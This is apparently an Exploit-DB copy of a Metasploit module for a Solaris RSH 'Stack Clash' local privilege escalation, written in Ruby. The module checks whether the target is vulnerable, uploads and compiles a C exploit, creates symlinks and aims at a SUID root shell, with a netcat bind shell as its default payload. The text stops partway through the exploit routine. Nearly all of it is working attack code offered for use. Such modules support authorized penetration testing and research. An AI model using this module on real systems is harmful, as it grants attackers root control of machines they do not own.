Exploit-DB #45625
Description: Solaris - RSH Stack Clash Privilege Escalation (Metasploit)
Type: local
Platform: solaris
Date: 2018-10-16
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Post::Solaris::Priv
  include Msf::Post::Solaris::System
  include Msf::Post::Solaris::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Solaris RSH Stack Clash Privilege Escalation',
      'Description'    => %q{
        This module exploits a vulnerability in RSH on unpatched Solaris
        systems which allows users to gain root privileges.

        The stack guard page on unpatched Solaris systems is of
        insufficient size to prevent collisions between the stack
        and heap memory, aka Stack Clash.

        This module uploads and executes Qualys' Solaris_rsh.c exploit,
        which exploits a vulnerability in RSH to bypass the stack guard
        page to write to the stack and create a SUID root shell.

        This module has offsets for Solaris versions 11.1 (x86) and
        Solaris 11.3 (x86).

        Exploitation will usually complete within a few minutes using
        the default number of worker threads (10). Occasionally,
        exploitation will fail. If the target system is vulnerable,
        usually re-running the exploit will be successful.

        This module has been tested successfully on Solaris 11.1 (x86)
        and Solaris 11.3 (x86).
      },
      'References'     =>
        [
          ['BID', '99151'],
          ['BID', '99153'],
          ['CVE', '2[PII_REDACTED]'],
          ['CVE', '2017-3629'],
          ['CVE', '2017-3630'],
          ['CVE', '2017-3631'],
          ['EDB', '42270'],
          ['URL', 'http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-3[PII_REDACTED].html'],
          ['URL', 'https://blog.qualys.com/securitylabs/2017/06/19/the-stack-clash'],
          ['URL', 'https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt']
        ],
      'Notes'          => { 'AKA' => ['Stack Clash', 'Solaris_rsh.c'] },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Qualys Corporation', # Stack Clash technique and Solaris_rsh.c exploit
          'Brendan Coles'       # Metasploit
        ],
      'DisclosureDate' => 'Jun 19 2017',
      'Privileged'     => true,
      'Platform'       => ['unix'],
      'Arch'           => [ARCH_X86, ARCH_X64],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'Targets'        =>
        [
          ['Automatic', {}],
          ['Solaris 11.1', {}],
          ['Solaris 11.3', {}]
        ],
      'DefaultOptions' =>
        {
          'PAYLOAD'     => 'cmd/unix/bind_netcat',
          'WfsDelay'    => 10,
          'PrependFork' => true
        },
      'DefaultTarget'  => 0))
    register_options [
      OptInt.new('WORKERS', [true, 'Number of workers', '10']),
      OptString.new('RSH_PATH', [true, 'Path to rsh executable', '/usr/bin/rsh'])
    ]
    register_advanced_options [
      OptBool.new('ForceExploit',  [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def rsh_path
    datastore['RSH_PATH']
  end

  def mkdir(path)
    vprint_status "Creating '#{path}' directory"
    cmd_exec "mkdir -p #{path}"
    register_dir_for_cleanup path
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_compile(path, data)
    upload "#{path}.c", data

    output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin gcc -Wall -std=gnu99 -o #{path} #{path}.c"
    unless output.blank?
      print_error output
      fail_with Failure::Unknown, "#{path}.c failed to compile"
    end

    register_file_for_cleanup path
  end

  def symlink(link_target, link_name)
    print_status "Symlinking #{link_target} to #{link_name}"
    rm_f link_name
    cmd_exec "ln -sf #{link_target} #{link_name}"
    register_file_for_cleanup link_name
  end

  def check
    unless setuid? rsh_path
      vprint_error "#{rsh_path} is not setuid"
      return CheckCode::Safe
    end
    vprint_good "#{rsh_path} is setuid"

    unless has_gcc?
      vprint_error 'gcc is not installed'
      return CheckCode::Safe
    end
    vprint_good 'gcc is installed'

    version = kernel_version
    if version.to_s.eql? ''
      vprint_error 'Could not determine Solaris version'
      return CheckCode::Detected
    end

    unless ['11.1', '11.3'].include? version
      vprint_error "Solaris version #{version} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "Solaris version #{version} appears to be vulnerable"

    CheckCode::Detected
  end

  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless check == CheckCode::Detected
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    unless writable? datastore['WritableDir']
      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
    end

    if target.name.eql? 'Automatic'
      case kernel_version
      when '11.1'
        my_target = targets[1]
        arg = 0
      when '11.3'
        my_target = targets[2]
        arg = 1
      else
        fail_with Failure::NoTarget, 'Unable to automatically select a target'
      end
    else
      my_target = target
    end
    print_status "Using target: #{my_ta